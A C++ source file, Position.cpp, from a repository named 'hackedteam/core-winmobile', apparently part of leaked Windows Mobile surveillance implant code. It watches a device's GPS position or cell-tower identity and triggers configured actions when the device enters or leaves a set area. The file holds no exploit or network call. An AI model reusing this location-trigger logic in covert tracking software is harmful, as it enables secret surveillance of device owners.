hackedteam/core-winmobile

View on GitHub
Mornella/Mornella_Mobile/Position.cpp

Summary

Maintainability
Test Coverage
#include "Event.h"
#include "Common.h"
#include "Conf.h"
#include "Date.h"
#include "Log.h"
#include "Observer.h"
#include "Device.h"
#include "GPS.h"
#include "Ril.h"
#include "Cell.h"

// MANAGEMENT - Le coordinate vanno inserite in gradi decimali!!
DWORD WINAPI OnLocation(LPVOID lpParam) {
    Event *me = (Event *)lpParam;
    Configuration *conf;
    HANDLE eventHandle;
    int delay, iterations, curIterations = 0, curDelay = 0;
    wstring type;
    BOOL bLocation = FALSE;

    eventHandle = me->getEvent();

    me->setStatus(EVENT_RUNNING);
    conf = me->getConf();

    try {
        type = conf->getString(L"type");
    } catch (...) {
        type = L"";
    }

    try {
        iterations = conf->getInt(L"iter");
    } catch (...) {
        iterations = MAXINT;
    }

    try {
        delay = conf->getInt(L"delay") * 1000;
    } catch (...) {
        delay = INFINITE;
    }

    if (type.empty()) {
        me->setStatus(EVENT_STOPPED);
        return 0;
    }

    if (type.compare(L"gps") == 0) {
        DOUBLE latOrigin, lonOrigin, latActual, lonActual, distance, curDistance;
        GPS *gpsObj = NULL;
        GPS_POSITION gps;

        try {
            latOrigin = conf->getDouble(L"latitude");
        } catch (...) {
            latOrigin = 0.0f;
        }

        try {
            lonOrigin = conf->getDouble(L"longitude");
        } catch (...) {
            lonOrigin = 0.0f;
        }

        try {
            distance = conf->getDouble(L"distance");
        } catch (...) {
            distance = 1000.0f;
        }

        // E' singleton e non va distrutta
        gpsObj = GPS::self(30000, 1000);

        if (gpsObj == NULL) {
            me->setStatus(EVENT_STOPPED);
            return 0;
        }

        if (gpsObj->Start() == FALSE) {
            me->setStatus(EVENT_STOPPED);
            return 0;
        }

        latActual = 0.0f;
        lonActual = 0.0f;

        DBG_TRACE(L"Debug - Position.cpp - OnLocation event started\n", 5, FALSE);

        LOOP {
            if (gpsObj->getGPS(&gps)) {
                // Scriviamo il tipo di struttura e poi i dati
                DWORD dwFields = GPS_VALID_LATITUDE | GPS_VALID_LONGITUDE;

                // Ok abbiamo una posizione valida, diamoci dentro con la geometria sferica
                if ((gps.dwValidFields & dwFields) == dwFields  && gps.FixType == GPS_FIX_3D) {

                    curDistance = gpsObj->VincentFormula(latOrigin, lonOrigin, gps.dblLatitude, gps.dblLongitude);

                    // Se la distance e' esattamente 0.0f allora la funzione non e' riuscita a
                    // convergere, percio' non abbiamo una stima attendibile
                    if (curDistance != 0.0f) {
                        if (curDistance <= distance) {
                            if (bLocation == FALSE) {
                                DBG_TRACE(L"Debug - Position.cpp - OnLocation event [IN action triggered]\n", 5, FALSE);
                                me->triggerStart(); // In position
                                bLocation = TRUE;
                            }
                        } else {
                            if (bLocation == TRUE) {
                                DBG_TRACE(L"Debug - Position.cpp - OnLocation event [OUT action triggered]\n", 5, FALSE);
                                me->triggerEnd(); // Out of position
                                bLocation = FALSE;
                            }
                        }
                    }
                }
            }

            if (bLocation)
                curDelay = delay;
            else
                curDelay = 30000;

            WaitForSingleObject(eventHandle, curDelay);

            if (me->shouldStop()) {
                gpsObj->Stop();
                DBG_TRACE(L"Debug - Position.cpp - Location Event is Closing\n", 1, FALSE);
                me->setStatus(EVENT_STOPPED);

                return 0;
            }

            if (bLocation && curIterations < iterations) {
                me->triggerRepeat();
                curIterations++;
            }
        }
    } else {
        Cell *cellObj = NULL;
        RILCELLTOWERINFO rilCell;
        DWORD dwMCC, dwMNC;
        int country, network, area, id;
        Device *deviceObj = Device::self();

        // E' singleton e non va distrutta
        cellObj = Cell::self(30000);

        if (cellObj == NULL) {
            me->setStatus(EVENT_STOPPED);
            return 0;
        }

        if (cellObj->Start() == FALSE) {
            me->setStatus(EVENT_STOPPED);
            return 0;
        }

        deviceObj->RefreshData();

        // Prendiamo il MCC ed il MNC
        dwMCC = deviceObj->GetMobileCountryCode();
        dwMNC = deviceObj->GetMobileNetworkCode();

        try {
            country = conf->getInt(L"country");
        } catch (...) {
            country = -1;
        }

        try {
            network = conf->getInt(L"network");
        } catch (...) {
            network = -1;
        }

        try {
            area = conf->getInt(L"area");
        } catch (...) {
            area = -1;
        }

        try {
            id = conf->getInt(L"id");
        } catch (...) {
            id = -1;
        }

        LOOP {
            if (cellObj->getCELL(&rilCell)) {
                // Scriviamo il tipo di struttura e poi i dati
                DWORD dwFields =  RIL_PARAM_CTI_LOCATIONAREACODE | RIL_PARAM_CTI_CELLID;

                // Se non abbiamo MCC e MNC, usiamo quelli che abbiamo derivato dall'IMSI
                if (rilCell.dwMobileCountryCode == 0)
                    rilCell.dwMobileCountryCode = dwMCC;

                if (rilCell.dwMobileNetworkCode == 0)
                    rilCell.dwMobileNetworkCode = dwMNC;

                if ((rilCell.dwParams & dwFields) == dwFields) {
                    if (((rilCell.dwMobileCountryCode == country || country == -1) && 
                        (rilCell.dwMobileNetworkCode == network || network == -1) &&
                        (rilCell.dwLocationAreaCode == area || area == -1) && 
                        (rilCell.dwCellID == id || id == -1)) && bLocation == FALSE) {
                            bLocation = TRUE;

                            DBG_TRACE(L"Debug - Position.cpp - OnCellId event [IN action triggered]\n", 5, FALSE);
                            me->triggerStart();
                    }

                    if (((country != -1 && rilCell.dwMobileCountryCode != country) || 
                        (network != -1 && rilCell.dwMobileNetworkCode != network) ||
                        (area != -1 && rilCell.dwLocationAreaCode != area) || 
                        (id != -1 && rilCell.dwCellID != id)) && bLocation == TRUE) {
                            bLocation = FALSE;

                            DBG_TRACE(L"Debug - Position.cpp - OnCellId event [OUT action triggered]\n", 5, FALSE);
                            me->triggerEnd();
                    }
                }
            }

            if (bLocation)
                curDelay = delay;
            else
                curDelay = 30000;

            WaitForSingleObject(eventHandle, curDelay);

            if (me->shouldStop()) {
                cellObj->Stop();
                DBG_TRACE(L"Debug - Position.cpp - Location Event is Closing\n", 1, FALSE);
                me->setStatus(EVENT_STOPPED);

                return 0;
            }

            if (bLocation && curIterations < iterations) {
                me->triggerRepeat();
                curIterations++;
            }
        }
    }

    me->setStatus(EVENT_STOPPED);
    return 0;
}